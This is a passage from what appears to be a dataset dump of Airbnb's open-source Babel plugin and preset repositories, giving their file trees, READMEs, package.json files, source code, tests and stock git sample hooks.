st.equal(normalize(result), normalize(expected));\n }\n}\n\ntest('babel-plugin-dynamic-import-node', (t) => {\n testFolders.forEach((folderName) => {\n const actual = tryRead(folderName, 'actual.js');\n\n versions.forEach((version) => {\n const expected = tryRead(folderName, `expected.${version}.js`);\n const expectedES2015 = tryRead(folderName, `expected.${version}.es2015.js`);\n const expectedNoInterop = tryRead(folderName, `expected.${version}.noInterop.js`);\n\n t.test(`babel ${version} - works with ${folderName}`, (st) => {\n const result = testPlugin(version, actual);\n assertOrWrite(st, result, expected, folderName, `expected.${version}.js`);\n st.end();\n });\n\n t.test(`babel ${version} - works with ${folderName} and the 'noInterop': true option`, (st) => {\n const result = testPlugin(version, actual, [], [], { noInterop: true });\n assertOrWrite(st, result, expectedNoInterop, folderName, `expected.${version}.noInterop.js`);\n st.end();\n });\n\n t.test(`babel ${version} - works with ${folderName} and the env preset`, (st) => {\n const result = testPlugin(\n version,\n actual,\n // Disable modules, otherwise it includes a different version of this plugin\n [[pkgs[version].env, { modules: false }]],\n [[pkgs[version].templates, { spec: true }]],\n );\n assertOrWrite(st, result, expectedES2015, folderName, `expected.${version}.es2015.js`);\n st.end();\n });\n\n if (version === 6 && !process.env.OVERWRITE\n // The es2015 and env presets have two different output with async functions\n && folderName !== 'dynamic-argument') {\n t.test(`babel ${version} - works with ${folderName} and the es2015 preset`, (st) => {\n const result = testPlugin(\n version,\n actual,\n [[pkgs[version].es2015, { modules: false }]],\n [[pkgs[version].templates, { spec: true }]],\n );\n st.equal(normalize(result), normalize(expectedES2015));\n st.end();\n });\n }\n });\n });\n\n t.end();\n});\n"} | null |
babel-plugin-dynamic-import-webpack | {"type": "directory", "name": "babel-plugin-dynamic-import-webpack", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "directory", "name": "fixtures", "children": [{"type": "directory", "name": "basic-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.js"}]}, {"type": "directory", "name": "chained-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.js"}]}, {"type": "directory", "name": "dynamic-argument", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.js"}]}, {"type": "directory", "name": "nested-import", "children": [{"type": "file", "name": "actual.js"}, {"type": "file", "name": "expected.js"}]}]}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "testPlugin.js"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to this open source project. As we are no longer using this technology internally, we have come to the decision to archive this repository. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
# babel-plugin-dynamic-import-webpack
Babel plugin to transpile `import()` to `require.ensure`, for Webpack.
Note that Webpack 2 has [gotten `import()`](https://github.com/webpack/webpack/issues/3098) after this code was written.
**NOTE:** Babylon v6.12.0 is required to correctly parse dynamic imports.
## Installation
```sh
$ npm install babel-plugin-dynamic-import-webpack --save-dev
```
## Usage
### Via `.babelrc` (Recommended)
**.babelrc**
```json
{
"plugins": ["dynamic-import-webpack"]
}
```
### Via CLI
```sh
$ babel --plugins dynamic-import-webpack script.js
```
### Via Node API
```javascript
require("babel-core").transform("code", {
plugins: ["dynamic-import-webpack"]
});
```
### Dynamic imports and webpack
Although the specification for `import()` supports a dynamic importing of modules in the browser runtime, webpack's `require.ensure()` is not dynamic and requires a hardcoded string to work correctly. For more information see [webpack's documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports) on dynamic imports.
| {"package.json": "{\n \"name\": \"babel-plugin-dynamic-import-webpack\",\n \"version\": \"1.1.0\",\n \"description\": \"Babel plugin to transpile import() to require.ensure, for Webpack\",\n \"main\": \"lib/index.js\",\n \"directories\": {\n \"test\": \"test\"\n },\n \"scripts\": {\n \"clean\": \"rimraf lib\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src --out-dir lib\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"tape --require babel-register test\",\n \"lint\": \"eslint .\",\n \"prepublish\": \"in-publish && safe-publish-latest && npm run build || not-in-publish\",\n \"check-changelog\": \"expr $(git status --porcelain 2>/dev/null| grep \\\"^\\\\s*M.*CHANGELOG.md\\\" | wc -l) >/dev/null || (echo 'Please edit CHANGELOG.md' && exit 1)\",\n \"check-only-changelog-changed\": \"(expr $(git status --porcelain 2>/dev/null| grep -v \\\"CHANGELOG.md\\\" | wc -l) >/dev/null && echo 'Only CHANGELOG.md may have uncommitted changes' && exit 1) || exit 0\",\n \"version:major\": \"npm --no-git-tag-version version major\",\n \"version:minor\": \"npm --no-git-tag-version version minor\",\n \"version:patch\": \"npm --no-git-tag-version version patch\",\n \"postversion\": \"git commit package.json CHANGELOG.md -m \\\"v$npm_package_version\\\" && npm run tag && git push && git push --tags\",\n \"preversion\": \"npm run test && npm run check-changelog && npm run check-only-changelog-changed\",\n \"tag\": \"git tag v$npm_package_version\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/babel-plugin-dynamic-import-webpack.git\"\n },\n \"keywords\": [\n \"babel\",\n \"plugin\",\n \"dynamic\",\n \"import\",\n \"webpack\"\n ],\n \"author\": \"Jordan Gensler <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/babel-plugin-dynamic-import-webpack/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/babel-plugin-dynamic-import-webpack#readme\",\n \"devDependencies\": {\n \"babel-cli\": \"^6.26.0\",\n \"babel-core\": \"^6.26.3\",\n \"babel-eslint\": \"^8.2.3\",\n \"babel-preset-airbnb\": \"^2.4.0\",\n \"babel-register\": \"^6.26.0\",\n \"eslint\": \"^4.19.1\",\n \"eslint-config-airbnb-base\": \"^12.1.0\",\n \"eslint-plugin-import\": \"^2.12.0\",\n \"in-publish\": \"^2.0.0\",\n \"rimraf\": \"^2.6.2\",\n \"safe-publish-latest\": \"^1.1.1\",\n \"tape\": \"^4.9.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "export default ({ template }) => {\n const buildImport = template(`\n (new Promise((resolve) => {\n require.ensure([], (require) => {\n resolve(require(SOURCE));\n });\n }))\n`);\n\n return {\n // NOTE: Once we drop support for Babel <= v6 we should\n // update this to import from @babel/plugin-syntax-dynamic-import.\n // https://www.npmjs.com/package/@babel/plugin-syntax-dynamic-import\n manipulateOptions(opts, parserOpts) {\n parserOpts.plugins.push('dynamicImport');\n },\n visitor: {\n Import(path) {\n const newImport = buildImport({\n SOURCE: path.parentPath.node.arguments,\n });\n path.parentPath.replaceWith(newImport);\n },\n },\n };\n};\n", "test\\index.js": "import test from 'tape';\nimport { join } from 'path';\nimport { readdirSync, statSync, readFileSync } from 'fs';\n\nimport testPlugin from './testPlugin';\n\nconst FIXTURE_PATH = join(__dirname, 'fixtures');\n\nconst testFolders = readdirSync(FIXTURE_PATH).filter(file => (\n statSync(join(FIXTURE_PATH, file)).isDirectory()\n));\n\ntest('babel-plugin-dynamic-import-webpack', (t) => {\n testFolders.forEach((folderName) => {\n const actual = readFileSync(join(FIXTURE_PATH, folderName, 'actual.js'), 'utf8');\n const expected = readFileSync(join(FIXTURE_PATH, folderName, 'expected.js'), 'utf8');\n t.test(`works with ${folderName}`, (st) => {\n const result = testPlugin(actual);\n st.equal(result.trim(), expected.trim());\n st.end();\n });\n });\n\n t.end();\n});\n"} | null |
babel-plugin-inline-react-svg | {"type": "directory", "name": "babel-plugin-inline-react-svg", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "camelize.js"}, {"type": "file", "name": "cssToObj.js"}, {"type": "file", "name": "escapeBraces.js"}, {"type": "file", "name": "fileExistsWithCaseSync.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "optimize.js"}, {"type": "file", "name": "transformSvg.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "fixtures", "children": [{"type": "file", "name": "close-a.svg"}, {"type": "file", "name": "close.svg"}, {"type": "file", "name": "close2.svg"}, {"type": "file", "name": "commented-6.svg"}, {"type": "file", "name": "commented.svg"}, {"type": "file", "name": "root-styled.svg"}, {"type": "file", "name": "test-case-sensitive.jsx"}, {"type": "file", "name": "test-commented-6.jsx"}, {"type": "file", "name": "test-commented.jsx"}, {"type": "file", "name": "test-dynamic-require.jsx"}, {"type": "file", "name": "test-export-all-as.jsx"}, {"type": "file", "name": "test-export-default-as.jsx"}, {"type": "file", "name": "test-export-default.jsx"}, {"type": "file", "name": "test-import-read-file.jsx"}, {"type": "file", "name": "test-import.jsx"}, {"type": "file", "name": "test-multiple-svg.jsx"}, {"type": "file", "name": "test-no-duplicate-react.jsx"}, {"type": "file", "name": "test-no-react.jsx"}, {"type": "file", "name": "test-no-svg-or-react.js"}, {"type": "file", "name": "test-require.jsx"}, {"type": "file", "name": "test-root-styled.jsx"}]}, {"type": "file", "name": "sanity.js"}]}]} | # babel-plugin-inline-react-svg
Transforms imports to SVG files into React Components, and optimizes the SVGs with [SVGO](https://github.com/svg/svgo/).
For example, the following code...
```jsx
import React from 'react';
import CloseSVG from './close.svg';
const MyComponent = () => <CloseSVG />;
```
will be transformed into...
```jsx
import React from 'react';
const CloseSVG = () => <svg>{/* ... */}</svg>;
const MyComponent = () => <CloseSVG />;
```
## Installation
```
npm install --save-dev babel-plugin-inline-react-svg
```
## Usage
### Via `.babelrc` (Recommended)
**.babelrc**
```json
{
"plugins": [
"inline-react-svg"
]
}
```
#### Options
- `ignorePattern` - A pattern that imports will be tested against to selectively ignore imports.
- `caseSensitive` - A boolean value that if true will require file paths to match with case-sensitivity. Useful to ensure consistent behavior if working on both a case-sensitive operating system like Linux and a case-insensitive one like OS X or Windows.
- `svgo` - svgo options (`false` to disable). Example:
```json
{
"plugins": [
[
"inline-react-svg",
{
"svgo": {
"plugins": [
{
"name": "removeAttrs",
"params": { "attrs": "(data-name)" }
},
"cleanupIDs"
]
}
}
]
]
}
```
**Note:** If `plugins` field is specified the default enabled `svgo` plugins will be overrided. Alternatively, if your Babel config is in JavaScript, the default list of plugins can be extended by making use of the `extendDefaultPlugins` utility provided by `svgo`.
```js
const { extendDefaultPlugins } = require('svgo');
module.exports = {
plugins: [
[
'inline-react-svg',
{
svgo: {
plugins: extendDefaultPlugins([
{
name: 'removeAttrs',
params: { attrs: '(data-name)' }
},
'cleanupIDs',
])
}
}
]
]
}
```
### Via CLI
```sh
$ babel --plugins inline-react-svg script.js
```
### Via Node API
```javascript
require('@babel/core').transform('code', {
plugins: [
['inline-react-svg', { filename: 'filename representing the code' }],
]
}) // => { code, map, ast };
```
---
Inspired by and code foundation provided by [react-svg-loader](https://github.com/boopathi/react-svg-loader).
| {"package.json": "{\n \"name\": \"babel-plugin-inline-react-svg\",\n \"version\": \"2.0.2\",\n \"description\": \"A babel plugin that optimizes and inlines SVGs for your react components.\",\n \"main\": \"lib/index.js\",\n \"scripts\": {\n \"prepack\": \"npmignore --auto --commentLines=autogenerated\",\n \"prepublishOnly\": \"npm run build && safe-publish-latest\",\n \"prepublish\": \"not-in-publish || npm run prepublishOnly\",\n \"pretest\": \"npm run lint\",\n \"lint\": \"eslint --ext=js,mjs .\",\n \"pretests-only\": \"npm run build\",\n \"build\": \"babel src --out-dir lib\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"babel-node test/sanity.js\",\n \"posttest\": \"aud --production\",\n \"version\": \"auto-changelog && git add CHANGELOG.md\",\n \"postversion\": \"auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \\\"v$(node -e \\\"console.log(require('./package.json').version)\\\")\\\"\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/kesne/babel-plugin-inline-react-svg.git\"\n },\n \"keywords\": [\n \"babel\",\n \"plugin\",\n \"react\",\n \"svg\",\n \"inline\"\n ],\n \"author\": \"Jordan Gensler <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/kesne/babel-plugin-inline-react-svg/issues\"\n },\n \"homepage\": \"https://github.com/kesne/babel-plugin-inline-react-svg#readme\",\n \"devDependencies\": {\n \"@babel/cli\": \"^7.23.4\",\n \"@babel/core\": \"^7.0.0\",\n \"@babel/node\": \"^7.22.19\",\n \"@babel/plugin-transform-typescript\": \"^7.23.6\",\n \"@babel/preset-react\": \"^7.23.3\",\n \"aud\": \"^2.0.4\",\n \"auto-changelog\": \"^2.4.0\",\n \"babel-preset-airbnb\": \"^3.3.2\",\n \"eslint\": \"^8.55.0\",\n \"eslint-config-airbnb\": \"^19.0.4\",\n \"eslint-plugin-import\": \"^2.29.1\",\n \"eslint-plugin-jsx-a11y\": \"^6.8.0\",\n \"eslint-plugin-react\": \"^7.33.2\",\n \"in-publish\": \"^2.0.1\",\n \"npmignore\": \"^0.3.1\",\n \"react\": \"^15.3.1\",\n \"safe-publish-latest\": \"^2.0.0\"\n },\n \"peerDependencies\": {\n \"@babel/core\": \"^7.0.0\"\n },\n \"dependencies\": {\n \"@babel/helper-plugin-utils\": \"^7.0.0\",\n \"@babel/parser\": \"^7.0.0\",\n \"lodash.isplainobject\": \"^4.0.6\",\n \"resolve\": \"^2.0.0-next.5\",\n \"svgo\": \"^2.8.0\"\n },\n \"engines\": {\n \"node\": \">=10.13\"\n },\n \"auto-changelog\": {\n \"output\": \"CHANGELOG.md\",\n \"template\": \"keepachangelog\",\n \"unreleased\": false,\n \"commitLimit\": false,\n \"backfillLimit\": false,\n \"hideCredit\": true\n },\n \"publishConfig\": {\n \"ignore\": [\n \"!lib\",\n \"src\",\n \".github/workflows\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "import { extname, dirname, parse as parseFilename } from 'path';\nimport { readFileSync } from 'fs';\nimport { parse } from '@babel/parser';\nimport { declare } from '@babel/helper-plugin-utils';\nimport resolve from 'resolve/sync';\n\nimport optimize from './optimize';\nimport escapeBraces from './escapeBraces';\nimport transformSvg from './transformSvg';\nimport fileExistsWithCaseSync from './fileExistsWithCaseSync';\n\nlet ignoreRegex;\n\nexport default declare(({\n assertVersion,\n template,\n traverse,\n types: t,\n}) => {\n assertVersion(7);\n\n const buildSvg = ({\n IS_EXPORT,\n EXPORT_FILENAME,\n SVG_NAME,\n SVG_CODE,\n SVG_DEFAULT_PROPS_CODE,\n }) => {\n const namedTemplate = `\n var SVG_NAME = function SVG_NAME(props) { return SVG_CODE; };\n ${SVG_DEFAULT_PROPS_CODE ? 'SVG_NAME.defaultProps = SVG_DEFAULT_PROPS_CODE;' : ''}\n ${IS_EXPORT ? 'export { SVG_NAME };' : ''}\n `;\n const anonymousTemplate = `\n var Component = function (props) { return SVG_CODE; };\n ${SVG_DEFAULT_PROPS_CODE ? 'Component.defaultProps = SVG_DEFAULT_PROPS_CODE;' : ''}\n Component.displayName = 'EXPORT_FILENAME';\n export default Component;\n `;\n\n if (SVG_NAME !== 'default') {\n return template(namedTemplate)({ SVG_NAME, SVG_CODE, SVG_DEFAULT_PROPS_CODE });\n }\n return template(anonymousTemplate)({ SVG_CODE, SVG_DEFAULT_PROPS_CODE, EXPORT_FILENAME });\n };\n\n function applyPlugin(importIdentifier, importPath, path, state, isExport, exportFilename) {\n if (typeof importPath !== 'string') {\n throw new TypeError('`applyPlugin` `importPath` must be a string');\n }\n const { ignorePattern, caseSensitive, filename: providedFilename } = state.opts;\n const { file, filename } = state;\n let newPath;\n if (ignorePattern) {\n // Only set the ignoreRegex once:\n ignoreRegex = ignoreRegex || new RegExp(ignorePattern);\n // Test if we should ignore this:\n if (ignoreRegex.test(importPath)) {\n return undefined;\n }\n }\n // This plugin only applies for SVGs:\n if (extname(importPath) === '.svg') {\n const iconPath = filename || providedFilename;\n const svgPath = resolve(importPath, {\n basedir: dirname(iconPath),\n preserveSymlinks: true,\n });\n if (caseSensitive && !fileExistsWithCaseSync(svgPath)) {\n throw new Error(`File path didn't match case of file on disk: ${svgPath}`);\n }\n if (!svgPath) {\n throw new Error(`File path does not exist: ${importPath}`);\n }\n const rawSource = readFileSync(svgPath, 'utf8');\n const optimizedSource = state.opts.svgo === false\n ? { data: rawSource }\n : optimize(rawSource, { ...state.opts.svgo, path: svgPath });\n\n const escapeSvgSource = escapeBraces(optimizedSource);\n\n const parsedSvgAst = parse(escapeSvgSource.data, {\n sourceType: 'module',\n plugins: ['jsx'],\n });\n\n traverse(parsedSvgAst, transformSvg(t));\n\n const svgCode = traverse.removeProperties(parsedSvgAst.program.body[0].expression);\n\n const opts = {\n SVG_NAME: importIdentifier,\n SVG_CODE: svgCode,\n IS_EXPORT: isExport,\n EXPORT_FILENAME: exportFilename,\n };\n\n // Move props off of element and into defaultProps\n if (svgCode.openingElement.attributes.length > 1) {\n const keepProps = [];\n const defaultProps = [];\n\n svgCode.openingElement.attributes.forEach((prop) => {\n if (prop.type === 'JSXSpreadAttribute') {\n keepProps.push(prop);\n } else if (prop.value.type === 'JSXExpressionContainer') {\n const objectExpression = t.objectExpression(prop.value.expression.properties);\n defaultProps.push(t.objectProperty(t.identifier(prop.name.name), objectExpression));\n } else {\n defaultProps.push(t.objectProperty(t.identifier(prop.name.name), prop.value));\n }\n });\n\n svgCode.openingElement.attributes = keepProps;\n opts.SVG_DEFAULT_PROPS_CODE = t.objectExpression(defaultProps);\n }\n\n const svgReplacement = buildSvg(opts);\n if (opts.SVG_DEFAULT_PROPS_CODE) {\n [newPath] = path.replaceWithMultiple(svgReplacement);\n } else {\n newPath = path.replaceWith(svgReplacement);\n }\n\n file.get('ensureReact')();\n file.set('ensureReact', () => {});\n }\n return newPath;\n }\n\n return {\n visitor: {\n Program: {\n enter(path, { file, opts, filename }) {\n if (typeof filename === 'string' && typeof opts.filename !== 'undefined') {\n throw new TypeError('the \"filename\" option may only be provided when transforming code');\n }\n if (typeof filename === 'undefined' && typeof opts.filename !== 'string') {\n throw new TypeError('the \"filename\" option is required when transforming code');\n }\n if (!path.scope.hasBinding('React')) {\n const reactImportDeclaration = t.importDeclaration([\n t.importDefaultSpecifier(t.identifier('React')),\n ], t.stringLiteral('react'));\n\n file.set('ensureReact', () => {\n const [newPath] = path.unshiftContainer('body', reactImportDeclaration);\n newPath.get('specifiers').forEach((specifier) => { path.scope.registerBinding('module', specifier); });\n });\n } else {\n file.set('ensureReact', () => {});\n }\n },\n },\n CallExpression(path, state) {\n const { node } = path;\n const requireArg = node.arguments.length > 0 ? node.arguments[0] : null;\n const filePath = t.isStringLiteral(requireArg) ? requireArg.value : null;\n if (node.callee.name === 'require' && t.isVariableDeclarator(path.parent) && filePath) {\n applyPlugin(path.parent.id, filePath, path.parentPath.parentPath, state);\n }\n },\n ImportDeclaration(path, state) {\n const { node } = path;\n if (node.specifiers.length > 0) {\n applyPlugin(node.specifiers[0].local, node.source.value, path, state);\n }\n },\n ExportNamedDeclaration(path, state) {\n const { node, scope } = path;\n if (node.specifiers.length > 0 && node.specifiers[0].local && node.specifiers[0].local.name === 'default') {\n const exportName = node.specifiers[0].exported.name;\n const filename = parseFilename(node.source.value).name;\n const newPath = applyPlugin(exportName, node.source.value, path, state, true, filename);\n if (newPath) {\n scope.registerDeclaration(newPath);\n }\n }\n },\n },\n };\n});\n"} | null |
babel-preset-airbnb | {"type": "directory", "name": "babel-preset-airbnb", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "LICENSE.md"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}]} | # babel-preset-airbnb
> A babel preset for transforming your JavaScript for Airbnb.
Currently contains transforms for all [stage 4](https://tc39.github.io/ecma262/) (ES2018) and [stage 3](https://github.com/tc39/proposals#active-proposals) syntax that is permitted in the [Airbnb Style Guide](https://github.com/airbnb/javascript). Please note that if usage of a stage 3 proposal is not explicitly mentioned in the Airbnb Style Guide, then it will not be enabled here. Additionally, stage 4 syntax that is excluded is as follows:
- generators: `regenerator-runtime` is too heavyweight for our use.
- `async/await`: `regenerator-runtime` is too heavyweight for our use, and [async-to-promises](https://www.npmjs.com/package/babel-plugin-async-to-promises) is not yet complete enough to be safely used.
- async iterators: depends on both generators and `async function`s
- lifted template literal restrictions: we do not use tagged template literals, nor implement custom DSLs, otherwise we would enable this.
## Install
```sh
$ npm install --save-dev babel-preset-airbnb
```
## Usage
### Via `.babelrc` (Recommended)
**.babelrc**
```json
{
"presets": ["airbnb"]
}
```
### Via CLI
```sh
$ babel script.js --presets airbnb
```
### Via Node API
```javascript
require('@babel/core').transform('code', {
presets: ['airbnb']
});
```
### Targeting Environments
This module uses @babel/preset-env to target specific environments.
Please refer to [@babel/preset-env#targets](https://babeljs.io/docs/en/babel-preset-env#targets) for a list of available options.
For a list of browsers please see [browserlist](https://github.com/ai/browserslist).
You may override our default list of targets by providing your own `targets` key.
```json
{
"presets": [["airbnb", {
"targets": {
"chrome": 50,
"ie": 11,
"firefox": 45
}
}]]
}
```
The following transpiles only for Node v6.
```json
{
"presets": [["airbnb", {
"targets": {
"node": 6
}
}]]
}
```
If you wish, you can also inherit our default list of browsers and extend them using `additionalTargets`.
```json
{
"presets": [["airbnb", {
"additionalTargets": {
"chrome": 42,
"ie": 8
}
}]]
}
```
You may override our default debug option by providing your own `debug` key.
```json
{
"presets": [["airbnb", {
"debug": true
}]]
}
```
## React Development Mode
When `process.env.NODE_ENV` is `'development'`, [the `development` mode will be set for `@babel/preset-react`](https://babeljs.io/docs/en/babel-preset-react#development).
You may override our default development option by providing your own boolean `development` key.
```json
{
"presets": [["airbnb", {
"development": false
}]]
}
```
## React PropTypes removal
This preset can be configured to remove propTypes using [babel-plugin-transform-react-remove-prop-types](https://github.com/oliviertassinari/babel-plugin-transform-react-remove-prop-types) with the following default options:
To enable this transformation with the default options, set the `removePropTypes` option to `true`:
```json
{
"presets": [["airbnb", {
"removePropTypes": true
}]]
}
```
The default options that will be used are:
```js
{
mode: 'wrap',
additionalLibraries: ['airbnb-prop-types'],
ignoreFilenames: ['node_modules'],
}
```
Default options can be overridden using the `removePropTypes` option. These options will be shallow-merged with the defaults:
```json
{
"presets": [["airbnb", {
"removePropTypes": {
"mode": "remove"
}
}]]
}
```
For example, if you are using this plugin in a deployable app, you might want to use the remove mode for your production build (and disable this transform entirely in development for optimal build speeds).
## Classes loose mode
By default, this preset will compile classes in normal mode. This is safer, but comes with a bundle size and runtime overhead. To [compile classes in loose mode](https://babeljs.io/docs/en/babel-plugin-transform-classes#loose), set the `looseClasses` option to `true`:
```json
{
"presets": [["airbnb", {
"looseClasses": true,
}]]
}
```
The [risks of enabling loose classes are outlined in the Babel docs](https://babeljs.io/docs/en/babel-plugin-transform-classes#loose).
## Specifying a babel runtime version
By default @babel/plugin-transform-runtime will [assume the oldest version of the runtime](https://github.com/babel/babel/blob/e6264a09921c60b8f18870d0a75678e4fa04f0f8/packages/babel-plugin-transform-runtime/src/index.js#L42) to avoid importing helpers that don't exist which would fail at runtime. This can result in newer helpers being inlined into modules (ex. objectSpread2) which increases bundle size.
To avoid this you can configure the preset to use the same version of the runtime that's installed in your package.json.
ex. If package.json has `"@babel/runtime": "^7.5.5"` then you can use:
```json
{
"presets": [["airbnb", {
"runtimeVersion": "7.5.5",
}]]
}
```
Note that this will result in a runtime breakage if the version passed into the airbnb preset is newer than the version of the babel runtime actually being used at build time.
## Disabling `plugin-transform-runtime`
You can use the `transformRuntime` option to disable [`@babel/plugin-transform-runtime`](https://babeljs.io/docs/en/babel-plugin-transform-runtime). Specifying `false` will disable the plugin. This option defaults to `true`.
## Specifying module transforms
You can use the `modules` option to enable transformation of modules given to this preset:
```json
{
"presets": [["airbnb", {
"modules": "auto"
}]]
}
```
Both `true` and the option default `auto` will not transform modules if ES6 module syntax is already supported by the environment, or `"commonjs"` otherwise. `false` will not transform modules.
You can use the `runtimeHelpersUseESModules` option to prevent transformation of runtime helpers to CommonJS modules.
```json
{
"presets": [["airbnb", {
"runtimeHelpersUseESModules": true
}]]
}
```
`true` will not transform runtime helpers to CommonJS modules. `false` will transform runtime helpers to CommonJS modules. The option defaults to `true` if `modules` is set to `false`, and `false` otherwise.
| {"index.js": "'use strict';\n\nconst { declare } = require('@babel/helper-plugin-utils');\n\nconst defaultTargets = {\n android: 35,\n chrome: 40,\n edge: 18,\n ie: 11,\n firefox: 72,\n safari: 12,\n};\n\nfunction buildTargets({ additionalTargets }) {\n return Object.assign({}, defaultTargets, additionalTargets);\n}\n\nmodule.exports = declare((api, options) => {\n // see docs about api at https://babeljs.io/docs/en/config-files#apicache\n api.assertVersion('^7.0.0');\n\n const {\n modules = 'auto',\n targets = buildTargets(options),\n removePropTypes,\n looseClasses = false,\n runtimeVersion,\n runtimeHelpersUseESModules = !modules,\n transformRuntime = true,\n } = options;\n\n if (typeof modules !== 'boolean' && modules !== 'auto') {\n throw new TypeError('babel-preset-airbnb only accepts `true`, `false`, or `\"auto\"` as the value of the \"modules\" option');\n }\n\n const debug = typeof options.debug === 'boolean' ? options.debug : false;\n const development = typeof options.development === 'boolean'\n ? options.development\n : api.cache.using(() => process.env.NODE_ENV === 'development');\n\n return {\n presets: [\n [require('@babel/preset-env'), {\n debug,\n exclude: [\n 'transform-async-to-generator',\n 'transform-template-literals',\n 'transform-regenerator',\n ],\n modules: modules === false ? false : 'auto',\n targets,\n }],\n [require('@babel/preset-react'), { development }],\n ],\n plugins: [\n looseClasses ? [require('@babel/plugin-transform-classes'), {\n loose: true,\n }] : null,\n\n removePropTypes ? [require('babel-plugin-transform-react-remove-prop-types'), Object.assign({\n mode: 'wrap',\n additionalLibraries: ['airbnb-prop-types'],\n ignoreFilenames: ['node_modules'],\n }, removePropTypes)] : null,\n\n [require('@babel/plugin-transform-template-literals'), {\n spec: true,\n }],\n require('@babel/plugin-transform-property-mutators'),\n require('@babel/plugin-transform-member-expression-literals'),\n require('@babel/plugin-transform-property-literals'),\n require('@babel/plugin-proposal-nullish-coalescing-operator'),\n require('@babel/plugin-proposal-numeric-separator'),\n require('@babel/plugin-proposal-optional-catch-binding'),\n require('@babel/plugin-proposal-optional-chaining'),\n [require('@babel/plugin-proposal-object-rest-spread'), {\n useBuiltIns: true,\n }],\n transformRuntime ? [require('@babel/plugin-transform-runtime'), {\n absoluteRuntime: false,\n corejs: false,\n helpers: true,\n regenerator: false,\n useESModules: runtimeHelpersUseESModules,\n version: runtimeVersion,\n }] : null,\n ].filter(Boolean),\n };\n});\n", "package.json": "{\n \"name\": \"babel-preset-airbnb\",\n \"version\": \"5.0.0\",\n \"description\": \"A babel preset for transforming your JavaScript for Airbnb\",\n \"main\": \"index.js\",\n \"author\": \"Josh Perez <[email protected]>\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"[email protected]:airbnb/babel-preset-airbnb.git\"\n },\n \"keywords\": [\n \"babel\",\n \"es6\",\n \"es2015\",\n \"javascript\"\n ],\n \"license\": \"MIT\",\n \"dependencies\": {\n \"@babel/helper-plugin-utils\": \"^7.8.3\",\n 